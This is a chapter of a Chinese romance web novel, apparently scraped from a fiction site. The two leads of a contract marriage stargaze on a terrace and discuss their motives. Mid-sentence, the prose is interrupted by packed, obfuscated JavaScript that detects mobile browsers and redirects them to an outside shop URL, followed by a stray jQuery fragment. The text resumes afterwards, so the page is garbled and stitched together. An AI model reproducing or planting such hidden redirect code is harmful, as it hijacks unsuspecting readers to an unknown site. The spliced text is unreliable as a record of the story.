踏进去的那一刻,言令仪觉得自己正在进行一场穿越。
城市里的人其实和宇宙离的很远,宇宙像是结界之外的东西,一个普通人类的生活一辈子和它的联系只有夜间散步的那一抬头,谈不上什么收获,因为抬眼能明显看见的都已经通过义务教育的途径变成了你的常识。比如什么什么卫星小行星彗星,什么嫦娥奔月、星汉灿烂,再就是什么日心说、浑天仪的。
这些东西在世俗的日常中摸索,言令仪在一种超出想象的、新的视觉刺激中被震荡,像是沉积已久的流麻在一次新的摇晃中重新开始闪烁。
上一次有这种奇妙感受还是小时候,只有那个时候才有通往异想天开的钥匙,进入这样的魔法场景,闪烁的星空、无边的银河。
这太超出一个人习以为常的日复一日了,反而像是梦境。
可梦境里会有程嘉柏吗?
言令仪被他领着坐在另一张躺椅上。
“很美对不对。”程嘉柏小心确认她的状态。
言令仪点头,“我都不知道………”
她甚至有些失语。
连露台的地砖都染上了亮色。
“你一定是平时看得少了。”程嘉柏嘲笑她,“虽然是很美,但你这种反应明显……”
“明显什么,刘姥姥进大观园?”言令仪不在乎,她用前半生的所有时间高效获取现在的生活和成就,她从不后悔这个。
她的同龄人、同学玩伴,都在中途选择不同的走向,会在年轻的时候体验没有尝试过的事物,会迫不及待地恋爱,会早早地在人和人的羁绊中,尝遍酸甜苦辣。
她在这一点上显得尤其青灯古佛,按周念看过的类型小说,这是无情道来的。她能答应这个协议婚姻,除了各取所需之外,是她断定程嘉柏这个人一定会在相处中印证他们不是一路人,她之于这种繁华酒色的生活,一定过于古板无趣。
他们的选择不同,所以不可能走一条路的。
“那到也没有,还挺可爱的。”程嘉柏狡黠地笑了笑,“我就喜欢你这种没见过世面的样子,在杭城可见不到。”
言令仪皱眉。
自打她成年后,江湖上很久没人敢说她可爱了。当然除了姐妹。
算了,这家伙不是什么脑回路正常的。
言令仪在躺椅上找了个舒服的姿势,把程嘉柏刚刚准备的毛毯掖好,只专心看星星。
“好多层次啊,那个是北斗七星!”她本来不想和程嘉柏说话,还是忍不住要赞叹出声。
“嗯,那边是春季大三角。”程嘉柏指着天上,言令仪离他有些距离,并不明白他到底指的哪一颗。
“就沿着北斗七星的斗柄,挺亮的。”
言令仪干脆跳下来把躺椅推到他边上,并排在一起,重新躺好再顺着他的手指方向看过去。
“……橙黄色的那颗是大角星,蓝白色的叫角宿一。”
程嘉柏只得把自己的毕生所学搬出来。
言令仪的头挨着他的肩膀,程嘉柏忽然生出些异样的情绪。虽然他清楚她只是顺着他的手看星星。
她的头发原本是披着的,看起来应该是吹了半干,躺下之前怕头发从躺椅上掉下去,随意抓了手腕上的发绳拢了两圈,松松垮垮耷拉在肩膀的位置,此刻靠的很近,翘起的发尾正巧戳在程嘉柏的脖颈。
程嘉柏对香味没有见解,多闻了一会也没分辨出来这是什么味道,就是觉得好闻。不过按洗发水沐浴露在加护肤品,女人身上的香味本身就复杂。
“你知道的还挺多。”
言令仪说着扭头去看他,没想到一个软软的还带点湿意的触感落在她的脸颊。
程嘉柏的鼻息一下子粗重了,从她的脸颊一下钻到颈侧,带起一阵细密的痒。
言令仪很快弹开了,少见地有礼貌,“不好意思,靠你太近了。”
程嘉柏难得谦逊,“没有,我也就知道这么些。权当分享。”
“你说你们这些从小生活富裕的,是不是从来不把工作当回事。”
言令仪把自己的脑袋重新端正枕在自己的躺椅中间。
“啊?”
“就是在人家‘千军万马过独木桥’的时候,还可以慢悠悠地走别的路,每天只佛系地从他们身边路过,想着吃什么新鲜的,玩什么有趣的。”
“言小姐,年纪轻轻可不能仇富啊,你不也是精英阶层吗,大律师?尤其是搞并购的,都是你的客户群体啊。”程嘉柏奇怪地看她一眼。照理说,这不应该被她当做对立面来讲述才对。
言令仪没回答。
“那你为什么会答应我妈?”程嘉柏想了一会问。
“你已经问过这个问题了。”言令仪的声音平静地和风一起飘过来。
“有吗?”程嘉柏没什么印象。
“那肯定是因为有利啊,人性都是趋利避害的。所以,当我觉得这个环境对我有还的时候,我一定会走。”
程嘉柏为她的直爽忍俊不禁。
“笑什么。我的毕生所学就告诉我如何即使止损、如何利益最大化。没办法,有可能已经是职业病了,病入膏肓的那种。”
言令仪看着悬在头顶的星空,看久了居然有点脊背发凉。
“其实我挺羡慕你的。”
“什么。”
“感觉从小没有什么慌乱局促的时候,就是会相信所有问题都会被解决的那种安定感。感觉很幸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776221|210006||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
福啊,从来都是自由的,即便被什么规则评判也会毫不在意的样子……”
难道是星空的深邃触发了言令仪的反思系统?程嘉柏第一回见她倾诉。
为了不让她陷入消极情绪,程嘉柏不明白,“你在说什么乱七八糟的。”
但他扭头看见了她眼眶亮晶晶,有什么快盛不住。
程嘉柏在心里暗喊一声“天呐”,镇定开口,“是不是亏心事做多了?”
言令仪不明所以,把头扭过一点来,“啊?”
鬼使神差的,那滴泪流下来的时候,程嘉柏眼疾手快地接住了。
一滴微咸的水珠而已,落在手掌的边缘,即刻就顺着他的掌纹洇开去,只剩下潮湿。
言令仪揉了揉眼角,听见程嘉柏完全没当回事地说,“就是这样啊,你没听说过一句话‘世界上唯一不能直视的有两件事,人心和头顶的星空’你看,肯定是亏心事做多了。”
听完,她噗嗤一声笑出来,“有可能啊,你看我不还和你弄虚作假。”
“这不算弄虚作假,协议的事,双方知情同意就可以。”程嘉柏转了转眼珠。
“你要是这么说,西方婚礼是向神宣誓的……不过管不到我们吧。我们都不信教。”
忽然一颗流星划过。言令仪睁大眼睛,立刻做起来,用力掐住程嘉柏的胳膊。
程嘉柏胳膊一紧,也看见了划过天幕的流星。
“这也是你算好的?”言令仪看他的眼神忽然也在亮星星。
程嘉柏纳闷地摇摇头,“真不是。”
言令仪根本不在意这个,只仰头看刚才划过的星迹。
程嘉柏:“要许愿吗?”
言令仪摇了头。
很久之后,她才再次开口,“那你呢?”
“你为什么答应?”
她原来想,传言那种不学无术只知道挥霍的形象,大概率是假的;但“妈宝”总归是有一点程度不太明而已。
但现在看来他完全是一个能把自己照顾得很好,还能顺带照顾别人的人,做事周全。一路上言令仪的那一点小攻略根本都没用上。
“我又不亏喽。”
陈嘉柏的手越界过来,把玩她的头发。
言令仪几乎预判这个人又要说些乱七八糟的话,沉住气防御,她快要把和这个人的相处变成每日的修心养性了。
八风不动,获得内心的平静才是对自己最好的。
但他的手最后只摸了摸她的头顶。
“早点休息吧。”
“回避吗?”即便这样,言令仪没打算放过他。这种动作,那她当小狗呢。
程嘉柏正在收回的手因为突然地打断,悬在了半空。